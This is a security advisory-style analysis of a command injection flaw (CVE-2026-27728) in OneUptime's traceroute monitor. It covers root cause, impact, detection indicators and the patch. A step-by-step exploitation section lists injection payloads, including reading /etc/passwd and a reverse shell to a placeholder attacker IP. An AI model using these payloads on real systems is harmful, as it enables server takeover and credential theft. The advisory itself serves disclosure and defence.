CVE-2026-27728: 
JavaScript vulnerability analysis and mitigation

CVE-2026-27728 is an OS command injection vulnerability in OneUptime's NetworkPathMonitor.performTraceroute() function that allows any authenticated project user to execute arbitrary operating system commands on the Probe server. It affects all versions of the @oneuptime/common npm package prior to 10.0.7 (vendor hackerbay). The vulnerability was published by GitHub Advisory on February 23, 2026, and by the National Vulnerability Database on February 25, 2026. It carries a CVSS v3.1 score of 9.9 (Critical) per the GitHub Advisory Database, with a scope-changed vector (Github Advisory, Feedly).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts (lines 149–191), the performTraceroute() method directly interpolates the user-controlled destination parameter into a shell command string (e.g., `traceroute -m ${maxHops} -w 3 ${destination}`) and executes it via Node.js child_process.exec() (wrapped with promisify), which spawns /bin/sh and interprets shell metacharacters (Github Advisory). The destination value originates from the public trace() method and accepts arbitrary string types with no validation or sanitization before reaching performTraceroute(). Shell metacharacters such as ;, |, $(), backticks, &&, ||, and \n in the destination field are all interpreted by the shell, enabling full command injection. A public PoC demonstrating exploitation via semicolon chaining (127.0.0.1; id), pipe injection (127.0.0.1 | whoami), and subshell execution (127.0.0.1$(echo INJECTED)) is included in the advisory (Github Advisory).

Successful exploitation allows an authenticated project user to execute arbitrary OS commands as the Probe service user, resulting in complete compromise of confidentiality, integrity, and availability on the Probe server. Attackers can read sensitive files (environment variables, credentials, service account tokens), pivot to internal services reachable from the Probe's network position, compromise other tenants' monitoring data in shared multi-tenant SaaS deployments, and establish persistent backdoors such as reverse shells, cron jobs, or injected SSH keys (Github Advisory, Feedly). The advisory notes that while the NetworkPathMonitor class is fully implemented and exported, it was not yet wired into the monitor execution pipeline at the time of disclosure; however, the vulnerable code is present and will become exploitable once integrated (Github Advisory).

A public proof-of-concept exploit is available within the GitHub Security Advisory itself, demonstrating three distinct injection techniques confirmed on macOS with Node.js v25.2.1 (Github Advisory). As of the time of reporting, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been made (Feedly). The EPSS score is approximately 0.37–0.40% (61st percentile), indicating a moderate relative probability of exploitation within 30 days (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (any authenticated project user) and no user interaction, lowering the barrier for abuse.

1. Gain authenticated access: Obtain credentials for any project user account on a vulnerable OneUptime instance (version < 10.0.7). Low-privilege project membership is sufficient.
2. Create or edit a Network Path Monitor: Navigate to the OneUptime dashboard and create a new Network Path Monitor (or edit an existing one) that uses the NetworkPathMonitor feature.
3. Inject shell metacharacters into the destination field: Set the monitor's destination field to a malicious payload that chains OS commands using shell metacharacters. Example payloads:
   • Semicolon chaining: 127.0.0.1; id
   • Pipe injection: 127.0.0.1 | whoami
   • Subshell execution: 127.0.0.1$(cat /etc/passwd)
   • Reverse shell: 127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Trigger monitor execution: Save the monitor and wait for or trigger the Probe to execute the performTraceroute() function. The Probe constructs the shell command (e.g., traceroute -m 30 -w 3 127.0.0.1; id) and passes it to child_process.exec(), which spawns /bin/sh and evaluates the injected payload.
5. Achieve remote code execution: The injected command executes with the privileges of the Probe service user. Output may be observable in monitor results, or the attacker can establish an out-of-band channel (reverse shell, DNS exfiltration) for interactive access (Github Advisory).

• Network: Unexpected outbound connections from the Probe server to external IPs or attacker-controlled infrastructure (e.g., reverse shell connections on non-standard ports); DNS queries for attacker-controlled domains originating from the Probe host.
• Logs: OneUptime Probe logs showing monitor execution with destination fields containing shell metacharacters (;, |, $(), backticks, &&, ||); Node.js process logs reflecting unusual command strings passed to child_process.exec().
• Process: Unexpected child processes spawned by the Node.js Probe process, such as /bin/sh, bash, curl, wget, nc, python, or id/whoami commands; processes with unusual parent-child relationships tracing back to the Probe service.
• File System: New or modified cron jobs, SSH authorized_keys files, or web shells on the Probe server; unexpected scripts or binaries written to /tmp or other writable directories by the Probe service account.
• User/Auth: Monitor destination fields in the OneUptime database containing shell metacharacters or encoded payloads; creation or modification of Network Path Monitors by users who do not normally manage them (Github Advisory).

Upgrade OneUptime to version 10.0.7 or later, which resolves the vulnerability by replacing child_process.exec() with child_process.execFile() (avoiding shell invocation) and adding a strict isValidDestination() validation function that only permits well-formed hostnames and IP addresses in the destination field (Patch Commit, Github Advisory). Until patching is complete, restrict project user access to the minimum necessary privileges and monitor Probe server activity for signs of unauthorized command execution. Consider implementing network-based controls to limit Probe server outbound connections if suspicious activity is detected.

The vulnerability received coverage from several security news outlets including GBHackers, SecurityOnline, CyberPress, and IT Security News, with headlines emphasizing the risk of full server takeover (GBHackers, SecurityOnline). The Bluesky infosec community also noted the advisory shortly after publication (Bluesky). Red Hat published a CVE page for the vulnerability, and INCIBE-CERT issued an early warning advisory (Red Hat). The vulnerability was also included in weekly threat landscape digests by security aggregators (Hawk-Eye).